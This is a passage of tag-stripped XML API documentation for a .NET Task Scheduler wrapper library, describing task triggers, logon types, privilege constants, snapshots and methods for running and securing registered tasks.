name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier 